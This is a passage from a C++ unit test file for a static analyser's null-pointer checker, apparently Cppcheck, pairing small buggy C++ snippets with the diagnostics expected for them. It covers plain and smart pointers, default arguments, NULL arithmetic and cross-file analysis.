0);\\n\"\n \" foo(var, NULL);\\n\"\n \" foo(var, nullptr);\\n\"\n \" foo(0, var);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (error) Null pointer dereference [nullPointer]\\n\"\n \"[test.cpp:5:12]: (error) Null pointer dereference [nullPointer]\\n\"\n \"[test.cpp:6:12]: (error) Null pointer dereference [nullPointer]\\n\"\n \"[test.cpp:7:12]: (error) Null pointer dereference [nullPointer]\\n\", errout_str());\n\n check(\"std::string f() {\\n\" // #9827\n \" char* p = NULL;\\n\"\n \" int r = g(p);\\n\"\n \" if (!r)\\n\"\n \" return \\\"\\\";\\n\"\n \" std::string s(p);\\n\"\n \" return s;\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #11078\n \" const char* p = nullptr;\\n\"\n \" std::string s1{ p };\\n\"\n \" std::string s2{ nullptr };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:21]: (error) Null pointer dereference: p [nullPointer]\\n\"\n \"[test.cpp:4:17]: (error) Null pointer dereference [nullPointer]\\n\",\n errout_str());\n\n check(\"const char* g(long) { return nullptr; }\\n\" // #11561\n \"void f() { std::string s = g(0L); }\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:29]: (error) Null pointer dereference: g(0L) [nullPointer]\\n\",\n errout_str());\n }\n\n void nullpointerStdStream() {\n check(\"void f(std::ifstream& is) {\\n\"\n \" char* p = 0;\\n\"\n \" is >> p;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (error) Possible null pointer dereference: p\\n\", \"\", errout_str());\n\n check(\"void f(const std::ostringstream& oss, char* q) {\\n\"\n \" char const* p = 0;\\n\" // Simplification makes detection of bug difficult\n \" oss << p;\\n\"\n \" oss << foo << p;\\n\"\n \" if(q == 0)\\n\"\n \" oss << foo << q;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Null pointer dereference: p [nullPointer]\\n\"\n \"[test.cpp:4:19]: (error) Null pointer dereference: p [nullPointer]\\n\"\n \"[test.cpp:5:10] -> [test.cpp:6:23]: (warning) Either the condition 'q==0' is redundant or there is possible null pointer dereference: q. [nullPointerRedundantCheck]\\n\", errout_str());\n\n check(\"void f(const char* p) {\\n\"\n \" if(p == 0) {\\n\"\n \" std::cout << p;\\n\"\n \" std::cerr << p;\\n\"\n \" std::cin >> p;\\n\"\n \" std::cout << abc << p;\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:3:22]: (warning) Either the condition 'p==0' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\"\n \"[test.cpp:2:10] -> [test.cpp:4:22]: (warning) Either the condition 'p==0' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\"\n \"[test.cpp:2:10] -> [test.cpp:5]: (warning) Either the condition 'p==0' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\"\n \"[test.cpp:2:10] -> [test.cpp:6]: (warning) Either the condition 'p==0' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\",\n \"[test.cpp:2:10] -> [test.cpp:3:22]: (warning) Either the condition 'p==0' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\"\n \"[test.cpp:2:10] -> [test.cpp:4:22]: (warning) Either the condition 'p==0' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" void* p1 = 0;\\n\"\n \" std::cout << p1;\\n\" // No char*\n \" char* p2 = 0;\\n\"\n \" std::cin >> (int)p;\\n\" // result casted\n \" std::cout << (int)p;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string& str) {\\n\"\n \" long long ret = 0;\\n\"\n \" std::istringstream istr(str);\\n\"\n \" istr >> std::hex >> ret;\\n\" // Read integer\n \" return ret;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int* i) {\\n\"\n \" if(i) return;\\n\"\n \" std::cout << i;\\n\" // Its no char* (#4240)\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5811 false positive: (error) Null pointer dereference\n check(\"using namespace std;\\n\"\n \"std::string itoip(int ip) {\\n\"\n \" stringstream out;\\n\"\n \" out << ((ip >> 0) & 0xFF);\\n\"\n \" return out.str();\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n // avoid regression from first fix attempt for #5811...\n check(\"void deserialize(const std::string &data) {\\n\"\n \"std::istringstream iss(data);\\n\"\n \"unsigned int len = 0;\\n\"\n \"if (!(iss >> len))\\n\"\n \" return;\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void nullpointerSmartPointer() {\n // extracttests.start: void dostuff(int);\n\n check(\"struct Fred { int x; };\\n\"\n \"void f(std::shared_ptr p) {\\n\"\n \" if (p) {}\\n\"\n \" dostuff(p->x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7] -> [test.cpp:4:11]: (warning) Either the condition 'p' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\", errout_str());\n\n check(\"struct Fred { int x; };\\n\"\n \"void f(std::shared_ptr p) {\\n\"\n \" p = nullptr;\\n\"\n \" dostuff(p->x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (error) Null pointer dereference: p [nullPointer]\\n\", errout_str());\n\n check(\"struct Fred { int x; };\\n\"\n \"void f(std::unique_ptr p) {\\n\"\n \" if (p) {}\\n\"\n \" dostuff(p->x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7] -> [test.cpp:4:11]: (warning) Either the condition 'p' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\", errout_str());\n\n check(\"struct Fred { int x; };\\n\"\n \"void f(std::unique_ptr p) {\\n\"\n \" p = nullptr;\\n\"\n \" dostuff(p->x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (error) Null pointer dereference: p [nullPointer]\\n\", errout_str());\n\n check(\"struct Fred { int x; };\\n\"\n \"void f() {\\n\"\n \" std::shared_ptr p;\\n\"\n \" dostuff(p->x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (error) Null pointer dereference: p [nullPointer]\\n\", errout_str());\n\n check(\"struct Fred { int x; };\\n\"\n \"void f(std::shared_ptr p) {\\n\"\n \" p.reset();\\n\"\n \" dostuff(p->x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (error) Null pointer dereference: p [nullPointer]\\n\", errout_str());\n\n check(\"struct Fred { int x; };\\n\"\n \"void f(std::shared_ptr p) {\\n\"\n \" Fred * pp = nullptr;\\n\"\n \" p.reset(pp);\\n\"\n \" dostuff(p->x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:11]: (error) Null pointer dereference: p [nullPointer]\\n\", errout_str());\n\n check(\"struct Fred { int x; };\\n\"\n \"void f(Fred& f) {\\n\"\n \" std::shared_ptr p;\\n\"\n \" p.reset(&f);\\n\"\n \" dostuff(p->x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Fred { int x; };\\n\"\n \"void f(std::shared_ptr p) {\\n\"\n \" p.reset();\\n\"\n \" dostuff(p->x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (error) Null pointer dereference: p [nullPointer]\\n\", errout_str());\n\n check(\"struct Fred { int x; };\\n\"\n \"void f() {\\n\"\n \" std::shared_ptr p(nullptr);\\n\"\n \" dostuff(p->x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (error) Null pointer dereference: p [nullPointer]\\n\", errout_str());\n\n check(\"struct A {};\\n\"\n \"void f(int n) {\\n\"\n \" std::unique_ptr p;\\n\"\n \" p.reset(new const A*[n]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9216\n check(\"struct A {\\n\"\n \" void reset();\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void g(std::unique_ptr var) {\\n\"\n \" var->reset();\\n\"\n \" var->f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9439\n check(\"char* g();\\n\"\n \"char* f() {\\n\"\n \" std::unique_ptr x(g());\\n\"\n \" if( x ) {}\\n\"\n \" return x.release();\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9496\n check(\"std::shared_ptr f() {\\n\"\n \" return std::shared_ptr(nullptr);\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" int a = *f();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:15]: (error) Null pointer dereference: f() [nullPointer]\\n\", errout_str());\n }\n\n void nullpointerOutOfMemory() {\n check(\"void f() {\\n\"\n \" int *p = malloc(10);\\n\"\n \" *p = 0;\\n\"\n \" free(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (warning) If memory allocation fails, then there is a possible null pointer dereference: p [nullPointerOutOfMemory]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *p = malloc(10);\\n\"\n \" *(p+2) = 0;\\n\"\n \" free(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) If memory allocation fails: pointer addition with NULL pointer. [nullPointerArithmeticOutOfMemory]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #13676\n \" int* q = static_cast(std::malloc(4));\\n\"\n \" *q = 0;\\n\"\n \" std::free(q);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (warning) If memory allocation fails, then there is a possible null pointer dereference: q [nullPointerOutOfMemory]\\n\", errout_str());\n }\n\n void functioncall() { // #3443 - function calls\n // dereference pointer and then check if it's null\n {\n // function not seen\n check(\"void f(int *p) {\\n\"\n \" *p = 0;\\n\"\n \" foo(p);\\n\"\n \" if (p) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // function seen (taking pointer parameter)\n check(\"void foo(int *p) { }\\n\"\n \"\\n\"\n \"void f(int *p) {\\n\"\n \" *p = 0;\\n\"\n \" foo(p);\\n\"\n \" if (p) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:6:9] -> [test.cpp:4:6]: (warning) Either the condition 'p' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\",\n errout_str());\n\n // function seen (taking reference parameter)\n check(\"void foo(int *&p) { }\\n\"\n \"\\n\"\n \"void f(int *p) {\\n\"\n \" *p = 0;\\n\"\n \" foo(p);\\n\"\n \" if (p) { }\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // function implementation not seen\n check(\"void foo(int *p);\\n\"\n \"\\n\"\n \"void f(int *p) {\\n\"\n \" *p = 0;\\n\"\n \" foo(p);\\n\"\n \" if (p) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:6:9] -> [test.cpp:4:6]: (warning) Either the condition 'p' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\",\n errout_str());\n\n // inconclusive\n check(\"void f(int *p) {\\n\"\n \" *p = 0;\\n\"\n \" foo(p);\\n\"\n \" if (p) { }\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:2:6]: (warning, inconclusive) Either the condition 'p' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\",\n errout_str());\n }\n\n // dereference struct pointer and then check if it's null\n {\n // function not seen\n check(\"void f(struct ABC *abc) {\\n\"\n \" abc->a = 0;\\n\"\n \" foo(abc);\\n\"\n \" if (abc) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // function seen (taking pointer parameter)\n check(\"void foo(struct ABC *abc) { }\\n\"\n \"\\n\"\n \"void f(struct ABC *abc) {\\n\"\n \" abc->a = 0;\\n\"\n \" foo(abc);\\n\"\n \" if (abc) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:6:9] -> [test.cpp:4:5]: (warning) Either the condition 'abc' is redundant or there is possible null pointer dereference: abc. [nullPointerRedundantCheck]\\n\",\n errout_str());\n\n // function implementation not seen\n check(\"void foo(struct ABC *abc);\\n\"\n \"\\n\"\n \"void f(struct ABC *abc) {\\n\"\n \" abc->a = 0;\\n\"\n \" foo(abc);\\n\"\n \" if (abc) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:6:9] -> [test.cpp:4:5]: (warning) Either the condition 'abc' is redundant or there is possible null pointer dereference: abc. [nullPointerRedundantCheck]\\n\",\n errout_str());\n\n // inconclusive\n check(\"void f(struct ABC *abc) {\\n\"\n \" abc->a = 0;\\n\"\n \" foo(abc);\\n\"\n \" if (abc) { }\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:2:5]: (warning, inconclusive) Either the condition 'abc' is redundant or there is possible null pointer dereference: abc. [nullPointerRedundantCheck]\\n\",\n errout_str());\n }\n }\n\n void functioncalllibrary() {\n SimpleTokenizer tokenizer(settingsDefault,*this,false);\n const char code[] = \"void f() { int a,b,c; x(a,b,c); }\";\n ASSERT_EQUALS(true, tokenizer.tokenize(code));\n const Token *xtok = Token::findsimplematch(tokenizer.tokens(), \"x\");\n\n // nothing bad..\n {\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n\n Library library;\n ASSERT(LibraryHelper::loadxmldata(library, xmldata, sizeof(xmldata)));\n\n std::list null;\n CheckNullPointer::parseFunctionCall(*xtok, null, library);\n ASSERT_EQUALS(0U, null.size());\n }\n\n // for 1st parameter null pointer is not ok..\n {\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n\n Library library;\n ASSERT(LibraryHelper::loadxmldata(library, xmldata, sizeof(xmldata)));\n\n std::list null;\n CheckNullPointer::parseFunctionCall(*xtok, null, library);\n ASSERT_EQUALS(1U, null.size());\n ASSERT_EQUALS(\"a\", null.front()->str());\n }\n }\n\n void functioncallDefaultArguments() {\n\n check(\"void f(int *p = 0) {\\n\"\n \" *p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:6]: (warning) Possible null pointer dereference if the default parameter value is used: p [nullPointerDefaultArg]\\n\", errout_str());\n\n check(\"void f(int *p = 0) {\\n\"\n \" if (!p)\\n\"\n \" return;\\n\"\n \" *p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char a, int *p = 0) {\\n\"\n \" *p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:6]: (warning) Possible null pointer dereference if the default parameter value is used: p [nullPointerDefaultArg]\\n\", errout_str());\n\n check(\"void f(int *p = 0) {\\n\"\n \" printf(\\\"p = %d\\\", *p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (warning) Possible null pointer dereference if the default parameter value is used: p [nullPointerDefaultArg]\\n\", errout_str());\n\n check(\"void f(int *p = 0) {\\n\"\n \" printf(\\\"p[1] = %d\\\", p[1]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible null pointer dereference if the default parameter value is used: p [nullPointerDefaultArg]\\n\", errout_str());\n\n check(\"void f(int *p = 0) {\\n\"\n \" buf[p] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int *p = 0) {\\n\"\n \" if (p != 0 && bar())\\n\"\n \" *p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int *p) {\\n\"\n \" *p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int *p = 0) {\\n\"\n \" if (p != 0)\\n\"\n \" *p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int *p = 0) {\\n\"\n \" int y;\\n\"\n \" if (p == 0)\\n\"\n \" p = &y;\\n\"\n \" *p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int *p = 0) {\\n\"\n \" if (a != 0)\\n\"\n \" *p = 0;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:3:8]: (warning) Possible null pointer dereference if the default parameter value is used: p [nullPointerDefaultArg]\\n\",\n errout_str());\n\n check(\"void f(int *p = 0) {\\n\"\n \" p = a;\\n\"\n \" *p = 0;\\n\" // <- don't simplify and verify\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int *p = 0) {\\n\"\n \" p += a;\\n\"\n \" *p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int *p = 0) {\\n\"\n \" if (p == 0) {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int *p = 0) {\\n\"\n \" std::cout << p ? *p : 0;\\n\" // Due to operator precedence, this is equivalent to: (std::cout << p) ? *p : 0;\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (warning) Possible null pointer dereference if the default parameter value is used: p [nullPointerDefaultArg]\\n\", errout_str()); // Check the first branch of ternary\n\n check(\"void f(char *p = 0) {\\n\"\n \" std::cout << p ? *p : 0;\\n\" // Due to operator precedence, this is equivalent to: (std::cout << p) ? *p : 0;\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18]: (warning) Possible null pointer dereference if the default parameter value is used: p [nullPointerDefaultArg]\\n\"\n \"[test.cpp:2:23]: (warning) Possible null pointer dereference if the default parameter value is used: p [nullPointerDefaultArg]\\n\", // duplicate\n errout_str());\n\n check(\"void f(int *p = 0) {\\n\"\n \" std::cout << (p ? *p : 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int *p = 0) {\\n\"\n \" std::cout << p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int *p = 0) {\\n\"\n \" std::cout << (p && p[0] ? *p : 42);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void isEmpty(int *p = 0) {\\n\"\n \" return p && *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int *p = 0) {\\n\"\n \" return !p || *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // bar may initialize p but be can't know for sure without knowing\n // if p is passed in by reference and is modified by bar()\n check(\"void f(int *p = 0) {\\n\"\n \" bar(p);\\n\"\n \" *p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int *p = 0) {\\n\"\n \" printf(\\\"%p\\\", p);\\n\"\n \" *p = 0;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:6]: (warning) Possible null pointer dereference if the default parameter value is used: p [nullPointerDefaultArg]\\n\", errout_str());\n\n // The init() function may or may not initialize p, but since the address\n // of p is passed in, it's a good bet that p may be modified and\n // so we should not report an error.\n check(\"void f(int *p = 0) {\\n\"\n \" init(&p);\\n\"\n \" *p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void init(int* &g);\\n\"\n \"void f(int *p = 0) {\\n\"\n \" init(p);\\n\"\n \" *p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int *p = 0) {\\n\"\n \" if (p == 0) {\\n\"\n \" init(&p);\\n\"\n \" }\\n\"\n \" *p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int *p = 0) {\\n\"\n \" if (p == 0) {\\n\"\n \" throw SomeException;\\n\"\n \" }\\n\"\n \" *p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x, int *p = 0) {\\n\"\n \" int var1 = x ? *p : 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (warning) Possible null pointer dereference if the default parameter value is used: p [nullPointerDefaultArg]\\n\", errout_str());\n\n check(\"void f(int* i = nullptr) { *i = 0; }\\n\" // #11567\n \"void g() { f(); }\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:29]: (warning) Possible null pointer dereference if the default parameter value is used: i [nullPointerDefaultArg]\\n\", errout_str());\n }\n\n void nullpointer_internal_error() { // ticket #5080\n check(\"struct A { unsigned int size; };\\n\"\n \"struct B { struct A *a; };\\n\"\n \"void f(struct B *b) {\\n\"\n \" unsigned int j;\\n\"\n \" for (j = 0; j < b[0].a->size; ++j) {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void ticket6505() {\n check(\"void foo(MythSocket *socket) {\\n\"\n \" bool do_write=0;\\n\"\n \" if (socket) {\\n\"\n \" do_write=something();\\n\"\n \" }\\n\"\n \" if (do_write) {\\n\"\n \" socket->func();\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void bar() {\\n\"\n \" foo(0);\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void subtract() {\n check(\"void foo(char *s) {\\n\"\n \" char *p = s - 20;\\n\"\n \"}\\n\"\n \"void bar() { foo(0); }\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (error) Overflow in pointer arithmetic, NULL pointer is subtracted. [nullPointerArithmetic]\\n\",\n errout_str());\n\n check(\"void foo(char *s) {\\n\"\n \" if (!s) {}\\n\"\n \" char *p = s - 20;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7] -> [test.cpp:3:15]: (warning) Either the condition '!s' is redundant or there is overflow in pointer subtraction. [nullPointerArithmeticRedundantCheck]\\n\", errout_str());\n\n check(\"void foo(char *s) {\\n\"\n \" s -= 20;\\n\"\n \"}\\n\"\n \"void bar() { foo(0); }\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (error) Overflow in pointer arithmetic, NULL pointer is subtracted. [nullPointerArithmetic]\\n\",\n errout_str());\n\n check(\"void foo(char *s) {\\n\"\n \" if (!s) {}\\n\"\n \" s -= 20;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7] -> [test.cpp:3:5]: (warning) Either the condition '!s' is redundant or there is overflow in pointer subtraction. [nullPointerArithmeticRedundantCheck]\\n\", errout_str());\n\n check(\"int* f8() { int *x = NULL; return --x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:35]: (error) Overflow in pointer arithmetic, NULL pointer is subtracted. [nullPointerArithmetic]\\n\", errout_str());\n\n check(\"int* f9() { int *x = NULL; return x--; }\");\n ASSERT_EQUALS(\"[test.cpp:1:36]: (error) Overflow in pointer arithmetic, NULL pointer is subtracted. [nullPointerArithmetic]\\n\", errout_str());\n }\n\n void addNull() {\n check(\"void foo(char *s) {\\n\"\n \" char * p = s + 20;\\n\"\n \"}\\n\"\n \"void bar() { foo(0); }\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (error) Pointer addition with NULL pointer. [nullPointerArithmetic]\\n\", errout_str());\n\n check(\"void foo(char *s) {\\n\"\n \" if (!s) {}\\n\"\n \" char * p = s + 20;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7] -> [test.cpp:3:16]: (warning) Either the condition '!s' is redundant or there is pointer arithmetic with NULL pointer. [nullPointerArithmeticRedundantCheck]\\n\", errout_str());\n\n check(\"void foo(char *s) {\\n\"\n \" char * p = 20 + s;\\n\"\n \"}\\n\"\n \"void bar() { foo(0); }\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (error) Pointer addition with NULL pointer. [nullPointerArithmetic]\\n\", errout_str());\n\n check(\"void foo(char *s) {\\n\"\n \" if (!s) {}\\n\"\n \" char * p = 20 + s;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7] -> [test.cpp:3:17]: (warning) Either the condition '!s' is redundant or there is pointer arithmetic with NULL pointer. [nullPointerArithmeticRedundantCheck]\\n\", errout_str());\n\n check(\"void foo(char *s) {\\n\"\n \" s += 20;\\n\"\n \"}\\n\"\n \"void bar() { foo(0); }\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (error) Pointer addition with NULL pointer. [nullPointerArithmetic]\\n\", errout_str());\n\n check(\"void foo(char *s) {\\n\"\n \" if (!s) {}\\n\"\n \" s += 20;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7] -> [test.cpp:3:5]: (warning) Either the condition '!s' is redundant or there is pointer arithmetic with NULL pointer. [nullPointerArithmeticRedundantCheck]\\n\", errout_str());\n\n check(\"int* f7() { int *x = NULL; return ++x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:35]: (error) Pointer addition with NULL pointer. [nullPointerArithmetic]\\n\", errout_str());\n\n check(\"int* f10() { int *x = NULL; return x++; }\");\n ASSERT_EQUALS(\"[test.cpp:1:37]: (error) Pointer addition with NULL pointer. [nullPointerArithmetic]\\n\", errout_str());\n\n check(\"class foo {};\\n\"\n \"const char* get() const { return 0; }\\n\"\n \"void f(foo x) { if (get()) x += get(); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef struct { uint8_t* buf, *buf_end; } S;\\n\" // #11117\n \"void f(S* s, uint8_t* buffer, int buffer_size) {\\n\"\n \" if (buffer_size < 0) {\\n\"\n \" buffer_size = 0;\\n\"\n \" buffer = NULL;\\n\"\n \" }\\n\"\n \" s->buf = buffer;\\n\"\n \" s->buf_end = s->buf + buffer_size;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void isPointerDeRefFunctionDecl() {\n check(\"const char** get() { return 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define ctu(code) ctu_(code, __FILE__, __LINE__)\n template\n void ctu_(const char (&code)[size], const char* file, int line) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CTU::FileInfo *ctu = CTU::getFileInfo(tokenizer);\n\n // Check code..\n std::list fileInfo;\n Check& c = getCheck();\n fileInfo.push_back(c.getFileInfo(tokenizer, settings, \"\"));\n c.analyseWholeProgram(*ctu, fileInfo, settings, *this); // TODO: check result\n while (!fileInfo.empty()) {\n delete fileInfo.back();\n fileInfo.pop_back();\n }\n delete ctu;\n }\n\n void ctuTest() {\n setMultiline();\n\n ctu(\"void f(int *fp) {\\n\"\n \" a = *fp;\\n\"\n \"}\\n\"\n \"int main() {\\n\"\n \" int *p = 0;\\n\"\n \" f(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: error: Null pointer dereference: fp [ctunullpointer]\\n\"\n \"[test.cpp:5:12]: note: Assignment 'p=0', assigned value is 0\\n\"\n \"[test.cpp:6:4]: note: Calling function f, 1st argument is null\\n\"\n \"[test.cpp:2:10]: note: Dereferencing argument fp that is null\\n\", errout_str());\n\n ctu(\"void use(int *p) { a = *p + 3; }\\n\"\n \"void call(int x, int *p) { x++; use(p); }\\n\"\n \"int main() {\\n\"\n \" call(4,0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: error: Null pointer dereference: p [ctunullpointer]\\n\"\n \"[test.cpp:4:7]: note: Calling function call, 2nd argument is null\\n\"\n \"[test.cpp:2:33]: note: Calling function use, 1st argument is null\\n\"\n \"[test.cpp:1:25]: note: Dereferencing argument p that is null\\n\", errout_str());\n\n ctu(\"void dostuff(int *x, int *y) {\\n\"\n \" if (!var)\\n\"\n \" return -1;\\n\" // <- early return\n \" *x = *y;\\n\"\n \"}\\n\"\n \"\\n\"\n \"void f() {\\n\"\n \" dostuff(a, 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n ctu(\"void dostuff(int *x, int *y) {\\n\"\n \" if (cond)\\n\"\n \" *y = -1;\\n\" // <- conditionally written\n \" *x = *y;\\n\"\n \"}\\n\"\n \"\\n\"\n \"void f() {\\n\"\n \" dostuff(a, 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // else\n ctu(\"void dostuff(int mask, int *p) {\\n\"\n \" if (mask == 13) ;\\n\"\n \" else *p = 45;\\n\"\n \"}\\n\"\n \"\\n\"\n \"void f() {\\n\"\n \" dostuff(0, 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ?, &&, ||\n ctu(\"void dostuff(int mask, int *p) {\\n\"\n \" x = (mask & 1) ? *p : 0;\\n\"\n 